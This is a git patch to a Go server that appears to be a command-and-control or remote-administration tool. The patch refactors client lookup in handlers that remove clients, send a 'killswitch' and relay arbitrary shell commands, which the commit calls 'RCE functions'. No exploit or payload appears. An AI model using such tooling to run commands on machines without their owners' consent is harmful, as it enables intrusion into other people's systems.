From 0d839daf4e9d363cc76ac403b262329c56800b6a Mon Sep 17 00:00:00 2001
From: raul <raul@bulgariu.xyz>
Date: Wed, 12 Jun 2024 09:49:37 +0200
Subject: [PATCH] Return pointer to clientList item instead of copy

I've also fixed several issues such as the killswitch and RCE functions
failing because of trying to use the struct identifier to access the
clientList array
---
 cmd/httpServer.go | 22 +++++++++++++---------
 cmd/serverFunc.go | 10 +++++-----
 2 files changed, 18 insertions(+), 14 deletions(-)

diff --git a/cmd/httpServer.go b/cmd/httpServer.go
index 20fc7a9..431ed0c 100644
--- a/cmd/httpServer.go
+++ b/cmd/httpServer.go
@@ -66,7 +66,7 @@ func saveClients(c *gin.Context) {
 	defer f.Close()
 	as_json, _ := json.MarshalIndent(jsonClients, "", "\t")
 	f.Write(as_json)
-	log.Println("SUCCESS!")
+	log.Println("Success!")
 }
 
 func removeClient(c *gin.Context) {
@@ -76,7 +76,7 @@ func removeClient(c *gin.Context) {
 		c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
 		return
 	}
-	client, err := returnClient(intClientID)
+	client, id, err := returnClient(intClientID)
 	if err != nil {
 		return
 	}
@@ -89,7 +89,7 @@ func removeClient(c *gin.Context) {
 
 	log.Printf("Removing client %v\n", intClientID)
 	if len(clientList) != 1 {
-		clientList = append(clientList[:intClientID], clientList[intClientID+1:]...)
+		clientList = append(clientList[:id], clientList[id+1:]...)
 	} else {
 		clientList = nil
 	}
@@ -117,7 +117,7 @@ func getCommands(c *gin.Context) {
 		c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
 		return
 	}
-	client, err := returnClient(intClientID)
+	client, _, err := returnClient(intClientID)
 	if err != nil {
 		c.String(http.StatusNotFound, "Client not found")
 		return
@@ -134,16 +134,20 @@ func sendKillswitch(c *gin.Context) {
 		c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
 		return
 	}
+	_, id, err := returnClient(intClientID)
+	if err != nil {
+		return
+	}
 
-	if clientList[intClientID].IsOnline == false {
+	if clientList[id].IsOnline == false {
 		return
 	}
 
 	inst := Instructions{
 		IsKillswitch: true,
 	}
-	clientList[intClientID].Instruct(inst)
-	clientList[intClientID].IsOnline = false
+	clientList[id].Instruct(inst)
+	clientList[id].IsOnline = false
 }
 
 func execCMD(c *gin.Context) {
@@ -154,7 +158,7 @@ func execCMD(c *gin.Context) {
 		return
 	}
 
-	client, err := returnClient(idInt)
+	client, _, err := returnClient(idInt)
 	if err != nil {
 		return
 	}
@@ -166,7 +170,7 @@ func execCMD(c *gin.Context) {
 
 	command, _ := c.GetPostForm("cmd")
 
-	out, err := sendCommand(client, command)
+	out, err := sendCommand(*client, command)
 	if err != nil {
 		e := fmt.Sprintf("Error happened executing command: %v\n", err)
 		c.String(http.StatusOK, e)
diff --git a/cmd/serverFunc.go b/cmd/serverFunc.go
index 8ef5fe8..a92d50c 100644
--- a/cmd/serverFunc.go
+++ b/cmd/serverFunc.go
@@ -135,7 +135,7 @@ func sendCommand(client Client, command string) (Output string, err error) {
 
 func Heartbeat(ID int) {
 	for {
-		client, err := returnClient(ID)
+		client, _, err := returnClient(ID)
 		if err != nil {
 			return
 		}
@@ -160,14 +160,14 @@ func Heartbeat(ID int) {
 	}
 }
 
-func returnClient(ID int) (Client, error) {
-	for _, v := range clientList {
+func returnClient(ID int) (*Client, int, error) {
+	for i, v := range clientList {
 		if v.ClientID == ID {
-			return v, nil
+			return &clientList[i], i, nil
 		}
 	}
 	err := fmt.Errorf("Client not found\n")
-	return Client{}, err
+	return &Client{}, -1, err
 }
 
 func ServerMessageReceiver(conn net.Conn) (Response, error) {